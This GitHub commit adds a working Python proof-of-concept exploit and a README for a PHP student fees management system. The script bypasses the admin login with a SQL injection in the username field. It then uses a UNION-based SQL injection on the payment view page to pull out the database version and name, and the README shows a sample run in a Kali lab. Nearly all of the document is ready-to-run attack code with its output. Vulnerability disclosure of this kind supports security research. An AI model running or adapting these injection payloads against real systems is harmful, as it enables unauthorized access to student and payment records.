Skip to content

Commit 640f8df

Browse files
committed
add Student fees management system project - SQLi authenticated Bypass and SQLi on Payment View
1 parent 68e62c4 commit 640f8df

File tree

2 files changed

+122
-0
lines changed

2 files changed

+122
-0
lines changed

click_fees/README.md

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# Student fees management system project - SQLi authenticated Bypass and SQLi on Payment View
2+
- Vendor Homepage: https://www.sourcecodester.com/php/15357/best-fee-management-system-project-php-source-code.html
3+
- Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/click_fees_0.zip
4+
5+
```bash
6+
┌──(kali㉿kali)-[~/Lab/oswe/py/click_fees_sqli]
7+
└─$ python3 click_fees.py "http://localhost/click_fees"
8+
9+
>> Student fees management system project - SQLi authentication Bypass and SQLi on Payment View
10+
>> by twseptian
11+
12+
[*] Bypass Login...
13+
[✓] Success login to Admin Page
14+
[*] Looking for a database and version...
15+
[✓] Found the database version: 10.6.7-MariaDB-3
16+
[✓] Found the database name: clickfees_db
17+
```

click_fees/poc.py

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
# Exploit Title: Student fees management system project - SQLi authenticated Bypass and SQLi on Payment View
2+
# Date: 2022-26-05
3+
# Exploit Author: twseptian
4+
# Vendor Homepage: https://www.sourcecodester.com/php/15357/best-fee-management-system-project-php-source-code.html
5+
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/click_fees_0.zip
6+
# Version: 1.0
7+
# Tested on: Kali Linux
8+
9+
# Desctiption: This web app has two vulnerabilites. First,bypass login, then on payment view
10+
# Usage: exploit.py www.example.com
11+
12+
import requests
13+
import sys
14+
import urllib3
15+
from bs4 import BeautifulSoup
16+
import re
17+
18+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
19+
20+
class Interface ():
21+
def __init__ (self):
22+
self.red = '\033[91m'
23+
self.green = '\033[92m'
24+
self.white = '\033[37m'
25+
self.yellow = '\033[93m'
26+
self.bold = '\033[1m'
27+
self.end = '\033[0m'
28+
29+
def header(self):
30+
print('\n >> Student fees management system project - SQLi authentication Bypass and SQLi on Payment View')
31+
print(' >> by twseptian\n')
32+
33+
def info (self, message):
34+
print(f"[{self.white}*{self.end}] {message}")
35+
36+
def warning (self, message):
37+
print(f"[{self.yellow}!{self.end}] {message}")
38+
39+
def error (self, message):
40+
print(f"[{self.red}x{self.end}] {message}")
41+
42+
def success (self, message):
43+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
44+
45+
# Instantiate our interface class
46+
global output
47+
output = Interface()
48+
output.header()
49+
50+
# setup proxies
51+
proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}
52+
53+
# bypass login
54+
def bypass_login(s, url):
55+
global cookies
56+
path = "/ajax.php?action=login"
57+
data = {"username":"admin' or '1'='1';-- -","password":"hahahah"}
58+
response = s.post(url+path,data=data,proxies=proxies,verify=False)
59+
status = response.status_code
60+
if status == 200:
61+
cookies = response.cookies.get_dict()
62+
return True
63+
else:
64+
return False
65+
66+
# sqli injection on payment view
67+
def sqli_database(s,url):
68+
headers = {
69+
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
70+
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
71+
"Accept-Language": "en-US,en;q=0.5","Accept-Encoding": "gzip, deflate",
72+
"Upgrade-Insecure-Requests": "1","Sec-Fetch-Dest": "document",
73+
"Sec-Fetch-Mode": "navigate","Sec-Fetch-Site": "none",
74+
"Sec-Fetch-User": "?1"
75+
}
76+
start_path= "/view_payment.php?ef_id="
77+
sqli_payload = "-9270 UNION ALL SELECT 82,82,82,82,82,82,version(),82,database()-- -"
78+
end_path = "&pid=4"
79+
response = s.get(url + start_path + sqli_payload + end_path, cookies=cookies, headers=headers,proxies=proxies, verify=False)
80+
soup = BeautifulSoup(response.text, 'html.parser')
81+
database_version = soup.find(text="Student: ").parent.findNext('b').contents[0]
82+
database_target = soup.find(text="Course/Level: ").parent.findNext('b').contents[0]
83+
return database_version,database_target
84+
85+
if __name__ == "__main__":
86+
try:
87+
url = sys.argv[1].strip()
88+
except IndexError:
89+
output.info("Usage: %s <url>" %sys.argv[0])
90+
output.info("Example: %s www.example.com" %sys.argv[0])
91+
sys.exit(-1)
92+
93+
s = requests.Session()
94+
output.info("Bypass Login...")
95+
if bypass_login(s, url):
96+
output.success("Success login to Admin Page")
97+
output.info("Looking for a database and version...")
98+
database_version, database_target = sqli_database(s, url)
99+
if database_target:
100+
output.success("Found the database version: %s" % database_version)
101+
output.success("Found the database name: %s" % database_target)
102+
else:
103+
output.error("Did not find a database name.")
104+
else:
105+
output.error("Did not login to Admin Page")

0 commit comments

Comments
 (0)